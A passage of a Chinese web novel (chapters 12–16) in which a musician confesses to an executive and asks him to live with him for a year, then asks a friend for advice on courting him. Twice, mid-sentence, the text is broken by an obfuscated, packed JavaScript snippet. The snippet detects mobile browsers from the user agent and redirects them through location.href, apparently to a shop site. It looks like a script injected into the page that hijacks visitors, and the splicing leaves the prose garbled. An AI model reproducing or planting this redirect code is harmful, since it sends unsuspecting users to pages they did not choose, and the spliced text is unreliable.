祁砚知觉得蒋昭南可爱,蒋昭南却不觉得祁砚知可爱,开玩笑,谁特么有事没事专盯人脸看个不停?说话是这样,不说话还是这样,就跟他脸上长金子了一样,吃个饭到现在都没感觉到半分舒坦。 蒋昭南忍住心中的无语放下刀叉抬头跟祁砚知对视,祁砚知注意到他的目光转而像得了趣般将目光下移到他的唇角。 “怎么了?”祁砚知目不转睛地问。 蒋昭南望着他说,“我刚刚突然意识到了,那会儿弹钢琴的是不是就是你?” 祁砚知闻言直接爽快地承认道,“对啊,好听么?给你准备的。” “给我准备的?” 蒋昭南愣了愣,随即问道,“为什么?” 祁砚知换了个姿势撑着下巴目光灼灼地盯过去,“因为,这也是我想说的真话。” “不论是选你们公司签约,还是定餐厅特意选钢琴曲,我做什么都只有一个目的。” “那就是,取悦你。” 12. 喜欢 “取悦我?” 蒋昭南捏着酒杯的指尖没什么防备地晃了晃,他问,“为什么要取悦我?” 祁砚知却觉得他这个问题问得很白痴,现实里没有谁会对谁无缘无故地好,也很少有谁会对谁毫无来由地坏,他谈取悦无非就是一种调情的手段,是只存在于蒋昭南与他之间的说不清道不明的暧昧。 可经他嘴里这么说出来,仿佛刚才那瞬间暗流涌动过的危险气息就如同拎大锤敲泡沫般,滑稽又荒诞地碎了一地。 兴许是头一次对自己精心准备过的“巧思”感到一阵没由来的挫败,祁砚知垂眼望着蒋昭南高挺的鼻尖,颇有几分破罐子破摔地答道,“因为我喜欢你。” “喜欢?”蒋昭南脸上的错愕几乎是一瞬间的事,然而这种错愕也只在祁砚知回答的那一刻明确地表现了出来,下一刻又很快恢复了面上不动声色的平静。 半口酒下肚,蒋昭南放下酒杯松了松领带,胳膊撑在桌上专心地打量着祁砚知,他问,“Q先生见过我几面,又对我有多了解?” 几分酒气染红了蒋昭南的嘴唇,头顶喷过发胶的黑发不听话地垂下了几根,颇具艺术感地耷拉在眉前,给这家伙硬朗的五官镀上了一寸恰到好处的柔和。 祁砚知本身是不想说话的,因为鹅黄色的灯光下,此刻的蒋昭南就好像是他心中色欲的化身,既随随便便勾起他的欲望又试图将他的欲望毫不留情地熄灭。 他觉得他无情,可他本就不懂风情,于是如此近的距离里,祁砚知又不得不压抑升腾的色欲,一字一句回答着无比现实的话题,他说,“算上这次,我只见过你两面,至于了解……” 祁砚知的语调拐了个大弯,望着蒋昭南眼睛的时候像只慵懒又狡诈的狐狸,当然,就算是具象化的狐狸,也不是那种常见的拥有火红皮毛与细长体型的狭面狐。 因为他要做就做能承载蝴蝶的生前栖于雪山,死后应该被放进博物馆或猎奇标本室的长尾蓝狐。 祁砚知说,“实话实说,我对你皮囊以下的心脏灵魂与脉搏血肉都并不了解,我所知道的不过就是各种搜索引擎上搜“蒋昭南”这三个字自动跳出来的若干信息,但也仅限生平一类的,空洞又苍白的文字。” “所以事实上,从某种带有现实意义的角度上看,我对你除外貌以外的认知似乎还比不上搜狐和百度。” 几句话交织又穿插的转折间,蒋昭南对他这说法感到了难以名状的震惊与讶异,他本以为这家伙大概率会像刚刚那样用些模糊不清的语言美化所谓的“喜欢”二字,结果到了这个时候祁砚知又跟个毛头小子似的突然诚实得离谱。 饶朔给的资料里面没提祁砚知的情史,但蒋昭南真觉得这家伙绝对是个情场高手,攻防兼备又会把握时机,总在所有人都以为可以休息的间隙里不声不响地抛出平地一声惊雷的重磅炸弹。 蒋昭南低下眼睫看向手边酒杯泛起的一圈圈水浪,他问,“你口中的喜欢究竟是指什么呢?仅仅只是我外在的皮相么?” “会不会太肤浅也太随便了些?” 祁砚知懂他的意思,却又没由来地产生了几分生理性的犹豫,恰巧这时服务员上了例汤,标准的法式葱头汤,祁砚知就着汤匙喝了两口汤等服务员离开后才缓缓开口, “蒋总觉得单纯喜欢长相既肤浅又随便,但我的确也就是这么一个肤浅且随便的人,我的喜欢不基于任何以时间为参考的相处。就拿我热爱的创作来说,灵感来的时候我唯一想的就是抓住,缘分也一样,当它出现的时候我唯一想的就是不要错过。” 蒋昭南听完祁砚知的话稍稍沉默了会儿,指尖攥着的汤匙被他无意识地拨来拨去,汤碗里浮动的白沫震荡得比汤汁更厉害,他抬头盯着祁砚知耳边那个晃动的十字架,问,“你有没有想过,我很有可能不是你所想的缘分,甚至因为我,你很有可能错过真正的缘分?” 祁砚知闻言继续喝了两口汤,不置可否地笑了笑,“蒋总问我这个问题是什么意思?想劝我放手?” “差不多吧。”蒋昭南将汤匙随手挂在汤碗边重新喝了口杯里的红酒,“第一次见面的时候你应该就知道我是直男了吧,性取向这玩意儿是天生的,就算天王老子来了都改不掉,更何况你只是一个普通人……” 说到“普通人”这三个字的时候蒋昭南很明显顿了顿,随后又半打趣地说,“好吧,你是一个有钱有才华长得还好看的普通人,可那又怎样,遇到不相符的性取向不照样还是无能无力?” “所以要我说啊,其实你这条件完全可以找一个跟你一样有品位有才华,三观还特别合得来的gay,而不是缺心眼儿死磕我这么一个不喜欢法餐也听不懂钢琴曲的直……” “蒋总的意思我明白。” 祁砚知打断了蒋昭南即将说完的最后一个字,其实他本该从一开始就打断,可那点儿神出鬼没的好奇心总在不该出现的时候出现,就跟犯贱一样,明知是不爱听的废话,但又总保留着那么几分天方夜谭的期待。 完完全全就是纯纯的傻逼行为。 但你说傻逼就傻逼吧,祁砚知还得压着戾气问,“蒋总,你怎么就确定你对男的没感觉?” “或者,我换句话问” “你是天生的直男么?” 蒋昭南感觉自己浑身上下经血管流淌的血液似乎倒流了,那种被天降一道惊雷狠狠劈中直击天灵盖的滞涩感让他半天说不出话来。 “你犹豫了。”祁砚知望着蒋昭南垂下去的眼睫肯定道,他问,“所以你不是对么?” 他补充,“至少你不确定你是。” 蒋昭南缓了很久,随后抬眼望了望祁砚知,莫名地笑了笑,“天不天生这东西你问医生也判断不出来啊,难不成我说我不是,那就不是吗?” “你说得对。”祁砚知靠在桌边不经意地散发着丝丝缕缕的侵略性,他说,“你或许不是天生的直男,但我是天生的gay,是那种看过医生吃过药也接受 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蒋昭南终于喝了口例汤,味道很怪,说不上来的怪,总之不如他公寓楼下那家小餐馆卖的青菜汤或是番茄汤。当然,中式菜和西方菜本就是两模两样的东西,就像他跟祁砚知,本就是两个世界的人。 眨眼间,蒋昭南咽下了那口怪异的汤,拿餐巾擦了擦嘴,他问,“祁先生,你认为我是不是天生的直男这件事真的重要么?” “还是说就算我不是天生就是直男,你就有可能把我掰弯?” 他问的不是Q先生,而是祁先生,不是工作的角度,而是生活。 “有没有可能那也得试了才知道,难道不是么蒋总?” 祁砚知不怎么喜欢退让,尤其是这个时候,当他心中的色欲完完全全投射在某个人身上时,他所渴望的不过就变成了全然的掌控,对方的□□该是他的,呼吸该是他的,就连最不可控横冲直撞的思想也该是他的。 蒋昭南对祁砚知脑中所想的一切都全然不知,他眼下只觉得疲惫,八头牛都拉不回来的歪脑筋又怎么指望他这个恋爱都没谈过的小学鸡帮忙,倒不是说鸡就一定不如牛,一个鸟类一个哺乳动物,半点儿可比性都没有。 于是他说,“祁先生,咱们聊这个话题已经很久了,你是不是忘了我们一开始来这里究竟是为了什么?” 祁砚知知道蒋昭南在回避他的问题,那也没关系,逃避有时候也是一种回答,就跟沉默一样,前者是犹豫,后者是默认,不管哪一种,他都喜欢得要命。 祁砚知笑得眼睛眯起来,盯着蒋昭南的目光吐露着以退为进的轻松,他说,“蒋总,我想要的条件其实很简单,有且仅有一条,并且只要你答应,我立刻就能签约。” “一条?”蒋昭南疑惑地抬了抬眼睫,他问,“是什么?” “住我家,跟我同居。” 祁砚知在蒋昭南话音落下的那一刻迅速补充道,“一年,我只要一年。” “不管一年后你有没有爱上我,只要到时间,你随时都可以搬出去。” “好吗?” 13. 拿下 回去的路上蒋昭南还在想祁砚知说的话,他说同居一年,就一年,一年之后随他留不留。 蒋昭南问他谊莱能得到什么,他说他能签五年的合同,这五年内但凡由他创作的歌曲,所有版权都可以归在谊莱旗下,并且到时候涉及到的任何分成,谊莱都能占大头。 出来的时候已经六点了,雨还没停,祁砚知找餐厅老板要了两把伞,一把蓝色的他拿在手上,一把粉色的递给蒋昭南问他要不要,蒋昭南低头望见他手心躺着的折得整整齐齐的粉伞不禁嘴角抽了抽,他说,“我开了车,用不着伞。” 祁砚知闻言倒没显得有多失望,他伸手指了指餐厅对面那辆全黑的宾利说得轻缓而自然,“那是你的车吧,停在了对面,离这里还有点距离,没伞的话会淋雨。” 祁砚知指的那辆的确是蒋昭南的车,餐厅所在的这一边不允许停车,所以蒋昭南只能绕个弯停在了对面。 不过蒋昭南却没怀疑祁砚知为什么会知道那是他的车,毕竟这场雨接连下了一个多小时,对面那一排的私家车陆陆续续都离开了,只剩蒋昭南回国半个月他爸送的那辆宾利还停在那儿。 “不用。”蒋昭南说,“直接跑过去更简单,而且拿了伞还得还,麻烦。” “其实不麻烦。” 祁砚知比蒋昭南高一点点,大概就两三厘米的样子,所以站起来的时候祁砚知看蒋昭南不用低头,只需简单的平视,祁砚知就能完整看全蒋昭南偏头望雨的侧颜,他说,“你要还伞的时候可以告诉我,我帮你还。” 蒋昭南开始有点不理解祁砚知的脑回路了,就过个街的事儿,路又不远雨也不大,如果拿西装套头的话,说不定小跑两步就能做到除西装沾了点儿水,其余全身上下连片水汽都蹭不到。 更别说如果他跑得足够快的话,连西装套头都不用,顶多湿点发梢,随便一甩就干了,哪儿用得着担心淋不淋雨。 于是蒋昭南就在祁砚知非得往他手上塞伞的前一秒,立即以前几年国外追小偷的速度飞快冲向刚好亮起绿灯的斑马线,并再以中学体测一千米满分的精妙步伐,飞快跑到车前按下钥匙开门上车一气呵成。 车内没开暖气,车窗蒙了一层雾,看得清雨点却看不清窗外风景,不过蒋昭南也没打算看清。 发梢果然沾上了雨滴,不多,的确一甩就干,蒋昭南打开了车前灯和雨刷器,黄昏走了,天空沉得有点早,原本应该是暖黄色的光,到了稍黯的环境下,竟被衬得多了几分明亮。 祁砚知撑着伞站到了雨里,白皙指骨或松或紧地捏着伞柄,坠在地上的雨滴三三两两地溅在了垂下来的裤脚上。 粉色的伞被他收在了怀里,蓝色的伞被他打在头顶,稍微驻足看了会儿,蒋昭南已经开车离开了,饭桌上的话题既没说答应,也不说拒绝,就跟他这个人一样,总不上不下地钓着他,可偏偏,他又就好这口。 “没被家养过的野猫总是不怎么听话,尤其剪爪子的时候,经常会抓伤人。”祁砚知打着伞走在稍显泥泞的路边,步子缓慢,左耳的十字架轻轻晃了晃。 蒋昭南刚拐下高速,饶朔的电话就打来了,等红绿灯的间隙里,蒋昭南抬手划开了车内显示屏的接听键,他问,“喂?” 下一刻,饶朔听起来稍显轻松的声音从方寸大的屏幕中传来,“蒋总,怎么样,Q那边拿下了吗?” 拿下Q? 蒋昭南默了默,Q拿下他还差不多。 眼见电话那头一直不回话,饶朔这边的轻松也顿时降了下来,他问,“怎么了蒋总,出什么事了?” 确实出事了,而且这事说小还不小,但蒋昭南这头还得仔细想想措辞,至少不能把饶朔这个三十六岁的老男人吓到,于是他问,“饶秘,你对同性恋这事儿怎么看?” 饶朔:“?” “蒋总,Q是同性恋啊?”饶朔问得直白。 我靠! 蒋昭南在电话这头爆了句粗口,他知道饶朔说话做事都很直接,可这这这未免也太直接了吧?!就不能给他喘口气的机会?! 蒋昭南重新调整了下呼吸,握紧方向盘轻咳了两下试探性问道,“如果我说,其实他不是同性恋,我只是单纯想问问呢?” 饶朔闻言沉默了一下,随后语气稍显严肃地来了一句,“所以蒋总你是同性恋对么?” 蒋昭南:“???” 你特么脑回路怎么比祁砚知还清奇? 已经无语到无力吐槽的蒋昭南将车开进了他公寓楼下的地下室,边找车位边郑重解释道,“我不是同性恋,我只是想问问你对同性恋这个话题怎么看?” 似乎已经看透一切的饶朔随手拿了个纸茶杯从办公室里接了水边喝边说道,“同性恋就同性恋呗,又不犯法,想怎样都行。” 听到这儿蒋昭南却皱了皱眉头,他问,“你难道不觉得恶心吗?尤其在大街上看到两个男人牵手甚至是接吻的时候,至少不觉得怪异吗?” “怪异?”饶朔喝完水随手把纸杯丢进了垃圾桶,“这有什么奇怪的,人各有各的选择,没有一条法律规定男人就必须喜欢女人,或者女人就必须喜欢男人。只要不影响社会公序良俗,别说男男恋,女女恋,就是人兽恋也没什么大惊小怪的。” 被某人观念震撼到的蒋昭南:“……” 比他多的那近十年饭果然也不是白吃的啊。 “对了蒋总,”饶朔说完又好像突然想起了什么似的说,“我记得你不是有个朋友就是同性恋吗?感觉跟你走得还挺近,难道你也觉得他恶心?” 辛逾白?蒋昭南坐驾驶座稍稍冷静了会儿,辛逾白那家伙出柜早,那几年他们都才十七八岁,啥都不懂的年纪只当他在找新乐子,结果这乐子一找就找到了现在,不仅谈了好几段恋爱,甚至最后貌似还真找到了能够相伴一生的人。 当然,这也只存在于程凌想办法把他追回来的情况下,不然他最后说那话就权当放屁。< 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于是蒋昭南没回饶朔的问题,直接随便找了个诸如“邻居王婶儿找他吃饭”、“隔壁张伯要他帮忙插花”之类的一眼假但又懒得编的烂借口挂了电话。 说真的,如果老天再给他一次机会,他绝对要回到几天前一口否决祁砚知那会儿提出的吃西餐,明明几个月前他都还在利物浦吃白人饭,好不容易等到回国能够品尝各式各样美味的中餐,结果今天又被逼着接触了不少难以言喻的“美食”,简直又一次刷新了他对人类食物多样性的了解。 不知道是一种怎样的心有灵犀,此刻回到家里的祁砚知正好在给自己熬骨头汤,入秋这几天他的胃通常不太好,所以经常会给自己煮各种各样有营养又好消化的东西。 汤熬到一半的时候,微信忽然弹出了消息,还是那个熟悉的蜡笔小新头像。 【非玄学不算命】:怎么样祁哥,拿下蒋总没? 拿下? 进度跟没动似的,这顿饭算是白吃了。 但祁砚知还是拿起手机回了消息: 【Q】:快了,估计过两天就能彻底拿下了。 【非玄学不算命】:真的?蒋总这么好拿捏的吗?(惊讶小猫.jpg) 【Q】:对。(认真黄脸.jpg) 祁砚知发完这条消息后,对面等了一会儿,估计是在思考该怎么回,祁砚知拿汤勺搅了搅瓷锅,慢慢等段远回消息。 【非玄学不算命】:不是祁哥,这会不会太快了点,倒不是我怀疑你的个人魅力哈,我只是单纯想问问你们进行到哪步了,比如吃饭聊天,牵手接吻,甚至于开房上床之类的? 每一条都想干,每一条都干不了的祁砚知:“……” 左转垃圾场,自我火化,慢走不送,谢谢。 【Q】:如果我说,我其实是走温水煮青蛙路线,你信么? 【非玄学不算命】:? 【非玄学不算命】:那你煮到哪儿了? 【Q】:煮到…… 【Q】:要到微信那步了。 14. 流水线 【非玄学不算命】:…… 【非玄学不算命】:祁哥,你认真的? 瓷锅里的汤汁沸腾着咕噜起泡,祁砚知熄了火,单手撑在灶边沉思了会儿,过了良久才给段远回了消息: 【Q】:万事开头难,进展不顺利也很正常,反正他最后还是会跟我住在一起,这就足够了。 收到这条消息的段远正在自己家里给女朋友准备生日礼物,都说礼物这东西不要求贵,但一定要有心意,于是段远怒刷二十多条教学视频怒建八个教程收藏夹,终于在时隔半个月的今天学会了如何织一条好看又保暖的小兔子围巾。 消息不能不回,围巾也不能不织,段远就这么边织围巾边回了消息: 【非玄学不算命】:祁哥,话虽然是这么说没错,但你决定的同居时间只有一年诶,你怎么能保证蒋总就一定能在这一年内爱上你? 【非玄学不算命】:更何况上回你说蒋总他恐同,在这种几乎可以说是天崩开局的情况下,他一年后能做到不讨厌gay甚至跟你做朋友就已经算得上是一种奇迹了,至于做男朋友…… 【非玄学不算命】:会不会做梦来得更快些?(疑惑小猫.jpg) 不但想让人做他男朋友,更想让人做他老婆的祁砚知:“……” 【Q】:你追你女朋友用了多长时间? 【非玄学不算命】:三年啊,祁哥你不是知道吗,怎么了? 【Q】:那认识了多久? 【非玄学不算命】:嘶,我想想,大概是五年八个月零六天,差不多成年那会儿,刚认识就开始喜欢了。 【Q】:嗯。 【Q】:真没用。 刚不小心把不锈钢棒针戳进指腹里的段远:“……” 【非玄学不算命】:…… 【非玄学不算命】:行,您厉害,您追人铁定快!(气愤小狗.jpg) 瓷锅里的汤差不多凉下来了,祁砚知拿勺舀汤尝了一口就盛进了两个月前找朋友设计的带有蝴蝶纹路的碗里。 汤里没放盐,喝起来只有一点点浓白的鲜味,以及为去腥压油多出来的一丢丢姜味,祁砚知随手抽了只汤匙搁到碗里捎上手机就走到了一楼客厅。 祁砚知喝了两口汤就陷进沙发打开手机连上客厅音响,从新建的小号里挑了两首他这段时间挺喜欢的纯音乐,按下播放键等前奏响起来才给段远发了条消息: 【Q】:对了,问点正事儿,你合同寄回去了没,公司那边怎么说? 【非玄学不算命】:寄回去了,董事那边还没发话,不过看总经理的意思应该是没什么问题,顺利的话应该下周六就能成功解约,到时候祁哥你记得要发条微博把这个消息提前公布出来,顺便再多加一两句话说明一下情况,省得让不知情的粉丝为你平白担心。 【Q】:我知道。 【Q】:还有一件事,《蓝海》你还在关注没,后续的反响如何? 【非玄学不算命】:这我肯定在关注啊,距发歌时间已过去四天半,热度还在持续上涨,我上午的时候瞄了一眼,点赞貌似已经突破了50w+,评论也达到了20w+,完完全全超过了对赌协议里要求的点赞和评论数。 【非玄学不算命】:只可惜这是一首被买断的商业曲,不然就可以收录进祁哥你的新系列专辑里了,等到时候赶上官方评选的阶段,说不定还能获个“年专”提名之类的。 【Q】:梦想很丰满,现实很骨感。难不成你真觉得我那几首摇滚乐是吃素的?有它们在,别说官方评选,就是大众投票那环节都得早早被刷下来。 【非玄学不算命】:哈哈哈哈祁哥,原来你也知道你那几首迷幻摇滚过不了大众投票啊,我还以为你是真想硬刚主流市场才每年必出至少两首重金属质感的摇滚乐。 硬刚主流市场? 祁砚知起身一口喝完了碗里的汤,再慢慢倒下去重新陷进沙发慢吞吞地回着消息: 【Q】:早几年是想过改变一下国内音乐渐渐趋于同质化的市场格局,但效果微乎其微,只有偶尔那么几首节奏还算突出的爵士说唱稍稍翻起了点儿浪花,但还远远不够,现在的大众审美仍然极度偏向情歌式的流行乐,基本已经根深蒂固了,没个十几二十年的完全动摇不了一点儿。 【非玄学不算命】:不是祁哥,你说这流行乐尤其恋爱一类的小情歌它不好听吗? 对于这个问题,祁砚知稍微想了会儿,等过往的一些记忆渐渐浮入脑海,才慢慢回了消息: 【Q】:好听是好听,但也实在是有点太无聊了,前几年的时候还能听到一点新的东西,到了这两年就完全变成了流水线工程,歌词编曲之类的互相抄来抄去,到最后缝缝补补得差不多了就丢进市场赚点快钱。 【Q】:当然,如果这只是单纯的个人行为倒也没什么,毕竟没钱就做不出高品质的音乐。想赚钱这事儿本身无可厚非,但如果所有音乐人都只抱着赚钱的目的出单曲,完全没点儿对音乐纯粹的追求,甚至让其中的一些资本抓到商机形成产业链了的话,大概用不了几年这个行业就会彻底完蛋了吧。 段远看着祁砚知发来的消息竟默默停下了织围巾的手,一般来说祁砚知并不怎么喜欢发长段文字。 一是因为没必要,如果真有特别充足的表达欲,那还不如直接打电话或者视频聊天,二是因为文字在传递过程中一定有它不可避免的局限性,像祁砚知这么一个经常琢磨歌词的音乐人完全明白,许多字词在使用的那一刻起就注定存在被误解的宿命。 那么既然说多错多,倒不如少说不说,安静走路,踏实做人。 【非玄学不算命】:哎。(悲伤小猫.jpg) 【非玄学不算命】:祁哥你也知道现在咱们这个大环境就这样,没才华的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14133345|149981||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 被资本捧,有才华的又被逼着写烂歌,就跟丢垃圾似的,明明市场已经提前帮忙做好了分类,那群人却完全看也不看地往同一个垃圾桶里挤。 【非玄学不算命】:这几年那个垃圾桶还能勉强装下他们丢进去的垃圾,等再过两年市场饱和,也就是垃圾桶再也塞不下甚至于被撑爆的时候,他们丢进去的垃圾统统都会散出来,到时候整个行业绝对是恶臭一片。 两首纯音乐循环播放了五遍以上,旋律都很经典,很像祁砚知十八九岁跑电影院看过的末日大片插曲,一般这种曲子出现的时候往往已经到了人类被苦难折磨得遍体鳞伤,急需某个救苦救难的救世主普渡众生,牺牲自己竭力挽救破败的文明宇宙。 或许他们今天这个音乐行业也是如此,华美的礼服被臭虫烂虾丢了一身,如果不及时清理的话,等到时候长了蝇生了蛆,再牢固的针线照样得被凿个对穿。 至于像电影那样,他们这个地方又等不等得到所谓救世主的出现? 换作十八九岁尚涉世未深的祁砚知,他一定会觉得他就是救世主,管它妖魔鬼怪恶龙撒旦,一柄宝剑一腔热血,单枪匹马就能闯过九九八十一难还不用寻求各路神仙的帮助。 但现在,二十五六光玩音乐就快玩了十年的祁砚知,已经深刻地意识到电影都特么是骗人的,救世主当然可以是人,但绝不能只是一个人,而是人人。 众人拾柴火焰高,只有当每个人都添把柴加把火的时候,所谓末日才不用等人来拯救,也只有那个时候高举火把的先锋才不会孤立无援,不至于被黑暗掀翻彻底丢失希望的火种。 所以,无论是怎样的困境,怎样的领域,他们所需要的根本就不是救世主,他们需要的是先锋,一个真正知道呐喊无用,只有跑起来才会让火烧得越来越旺的先锋。 祁砚知回消息之前又给靠阳台角落的那盆蝴蝶兰浇了水,家里的袋装营养液快要用完了,下次有时间的话还得去乌随实验室跑一趟,当然他也可以网购,只不过等得时间有点久而且效果还没多好。 况且相比买一堆营养液,祁砚知还不如到时候直接换成水培,玻璃瓶的样式他都想好了,专门找人定制,要半米高的青花瓷,绘上去的纹路得形成大片大片的翠蓝眼蛱蝶,最好的话,底端偏下的部位得躺一只睡着的缅因猫,蝴蝶就拎一只站它胡须上。 于是祁砚知边上楼拿笔打算先画个设计草图,边单手打字回着消息: 【Q】:段远,你说蒋昭南搬进来的时候我该送他什么礼物? 距聊天框上条发出的消息差不多已经过去了半小时,段远本以为祁砚知得发个巨狠的长篇大论控诉市场乱象揭露行业黑幕,结果等半天就这? 什么礼物? 八字都没一撇,人都还没答应,这家伙就想着准备乔迁礼物了? 都特么认识五年多了,也没见啥时候对他这么上心过啊?! 15. 默剧 吐槽归吐槽,出谋划策的事儿段远可不敢耽搁,于是他赶忙放下手里的针线认真回消息: 【非玄学不算命】:祁哥,一般来说礼物不求贵,但一定得有心意,得送到人心坎儿上。 【非玄学不算命】:就比如你觉得蒋总会喜欢什么,那你就送什么。(肯定小狗.jpg) 他喜欢什么,我就送什么? 看到这条消息的祁砚知稍微有点懵,因为事实上他根本不知道蒋昭南喜欢什么,虽然他很希望蒋昭南现在就能喜欢他,但很明显这实在有点太不现实了。 然而直到现在他唯一知道的大概就是蒋昭南应该不怎么喜欢吃法餐,尤其是煎鹅肝和焗扇贝,他几乎一口没动。 不喜欢的弄明白了,喜欢的祁砚知却一概不知,但如果非说蒋昭南会对什么感兴趣,莫非是…… 【Q】:他喜欢淋雨,我该送什么? 沉默,良久的沉默。 【非玄学不算命】:不是吧祁哥,你真不是开玩笑的? 【Q】:嗯,没开玩笑。 不然的话,下雨他为什么不接那把伞?难道不是因为喜欢淋雨? 【非玄学不算命】:祁哥,如果真是这样的话,那我得问一个稍微涉及到蒋总个人隐私的问题了。 蒋昭南的个人隐私?祁砚知突然觉得有点莫名其妙,就送个礼物怎么就上升到隐私层面了,难不成是他刚才的表述有问题? 【Q】:你问。 下一秒,段远的消息立刻就弹了出来。 【非玄学不算命】:祁哥,你说有没有一种可能其实蒋总脑子有问题?但不是那种胡言乱语能进精神病院的大毛病,就是偶尔神经失常简称脑子搭错筋尽干蠢事的小毛病。 远在另一个市辖区公寓楼下餐馆等面的蒋昭南突然打了个喷嚏,这个餐馆他陆陆续续也来过七八回,在老板那儿混熟了脸。 老板把一大碗热气腾腾的牛肉面端过来的时候问他怎么了,蒋昭南坐下的地方刚好正对着川流不息的马路,他接过面的时候抬头望了望眼前亮起的暖黄色路灯。 现在是八点三十四分,算小半个下班晚高峰,天已经完全黑了下来,只有路边沿着椭圆散开的流光和高楼大厦天花板透过钢化玻璃折射开的余辉映照着冲上天幕,依附夜色,簌簌地洒在高速公路前后堵在一起的车前灯与尾气上。 桌边距他极近的牛肉面冒着丝丝缕缕的热气,外面稍远些的屋檐滴落一颗两颗几个小时前还在肆虐的雨点,被车轮带起的夜风寒凉地吹了过来,蒋昭南低着头,拿额发挡了挡寒气,笑着说,“可能是最近天气突然降温,有点感冒了吧。” 餐馆老板是个上了年纪的大叔,头发花白却看着很有精神,蒋昭南不知道他的具体年龄,却在前几回吃面的时候偶然听他跟别人聊了点儿家事。无儿无女也没有个伴儿,年轻的时候来这儿旅游爱上了这座城市,于是定居下来开了家既有炒饭又能吃面的小餐馆,而这一开差不多就是三十来年。 蒋昭南自己都还没三十岁,当然不明白这三十来年的光景里城市和街区都发生了怎样的变化,然而说来也怪,二十五岁之前他从没考虑过除自身爱好以外的其他东西。 可一旦跨过了二十五这道坎儿,尤其一两年前刚到二十五岁的时候,那种对三十、四十、甚至于五十、六十这种真正被定义为中年甚至于老年的焦虑开始一点点占据他的人生。 也刚好就在这段时间,蒋昭南慢慢开始关注除自身以外的其他事物,坎坷的变迁的历史也好,客观的自然的风景也罢,管它具不具象流不流动,但凡能在他浅短幽微的生命里寻求到那么丁点儿共鸣的东西,都是一种慰藉。 当然,此刻莫名被眼前景象触动到的蒋昭南还是想把它当成一种上了年纪的矫情。 没别的,纯要面子,尤其还是蒋昭南,一个快二十七的“老男人”。 祁砚知这边还在想怎么回复段远的消息,现在他已经画好了图纸洗完了澡,正窝在二楼影音室的沙发上刷微博。 面前的电动拉线幕自动播放着上回没看完的爱情电影,正巧是默剧,上世纪的黑白电影,祁砚知没开灯,就任由它继续放下去。 【Q】:…… 【Q】:那你觉得这个人如果脑子有问题,我该送他什么? 这下再次轮到段远沉默了,如果都特么脑子有问题了,那还送什么? 当然是送他治病,送他一个既健康又正常的脑子啊! 但这话肯定不能明说,毕竟像蒋昭南这种脑子有问题的总裁肯定比一般人更敏感,再加上祁砚知这家伙现在还在追人家,要是一个不小心把人得罪了,最后遭殃的绝对还是他这个出主意的。 秉持着“宁拆一座桥,不毁一桩婚”的做人态度,段远决定好好“教导”一下祁砚知。 【非玄学不算命】:祁哥,我觉得你送礼之前得先把蒋总当正常人看。 正常人?祁砚知皱起了眉头。 【Q】:什么意思? 【非玄学不算命】:你想啊,这世上谁没个大病小病,但谁都不愿意被当成病人,更何况还像蒋总这种估计还真有点儿心病的。 【非玄学不算命】:那这个时候润物细无声的感化就变得格外重要了,就把他当一点儿病没有的正常人,用正常人的方式跟他相处,然后慢慢发现病症,花点儿时间再花点儿耐心,解决就好。 祁砚知突然对段远这个说法产生了极大的兴趣,但思考之余,他又有一个问题亟待解决。 【Q】:这个想法很好,但如果我说蒋昭南喜欢淋雨是假的,他只是不想接我给的伞,也就是说他脑子其实没问题,精神也很正常,这个方法还可行吗? 很快,段远又发来了消息。 【非玄学不算命】:当然可行啊,我也知道祁哥你刚刚只是在开玩笑,但祁哥你难道真没发现蒋总其实很可能有一定的心理问题吗? 祁砚知忽然怔在了原地,握着手机的指尖也僵了僵。 【Q】:你是说…… 【Q】:恐同? 【非玄学 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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关于前面这个问题段远想了很久,这部电影祁砚知也看了很久,后续的剧情其实跟爱情没多大关系了,电影把更多画面聚焦在了战乱带给底层人民的痛苦上,只不过男女主也因为战乱彻底失去了联系,再次见面的时候女主变成了一个耄耋老人,而男主, 变成了一座只写有名字的墓碑。 片尾曲响起,画面开始播放导演及各种参演人员名单的时候,祁砚知关了电影,段远的消息也发了过来: 【非玄学不算命】:对我来说,如果真发生了这种事,我第一反应肯定是拒绝,但只要在我自身没病且没女朋友的情况下,我不会抗拒任何正常表达的爱意。 【非玄学不算命】:毕竟嘛,爱不分性别,不试试怎么知道爱的究竟是肉|体还是灵魂?万一两者都爱,或者两者都不爱呢?总不能等到七老八十了再去想这个问题的答案吧。 爱不分性别。 关掉电影的房间黯得过分,祁砚知看着段远发来的消息想了好一会儿,正准备回复的时候,段远又发来了一条消息: 【非玄学不算命】:对了祁哥,最近这几天入秋,你说蒋总会不会需要一条围巾? 16. 杀马特 围巾? 祁砚知想起了几乎每个冬天出门活动的时候都会在街头看见人们脖子上围着毛茸茸的围巾,怀靖属于无可争议的北方第一城,往上隔两个省是边境,往下隔三个省又是沿海地区,怀靖处在中间,没山挡着所以容易刮大风下大雪。 北方嘛,一旦入秋就很冷,冬天来得既早又突然,风刮在脸上就跟拿把钝刀割皮肉似的,稍微露个鼻子就磨嗓子烧喉咙,没个遮挡的东西还真过不了冬。 当然,围巾这玩意儿颜色很多,样式也很多,唯一的共同点是一看就很暖和。 刚好这几天入秋,或许段远说得没错,他应该送他一条适合度过这个秋天乃至于冬天的围巾。 反正不管怎么看这也只是条围巾,又不像世俗意义上什么玫瑰钻戒之类的一看就很露骨,既然蒋昭南这个蠢直男一时半会儿还接受不了他,那他大不了就以一个朋友的名义送出去。 至于蒋昭南他到底用不用戴不戴,那都是他个人的选择,祁砚知只要求自己送了就好。 【Q】:你那儿有织围巾的针线没,我想亲手给他做一个。 巧了,还真有,段远赶紧回复消息: 【非玄学不算命】:有,当然有,下个月我女朋友过生日,我寻思给她织条好看的小兔子围巾当礼物。 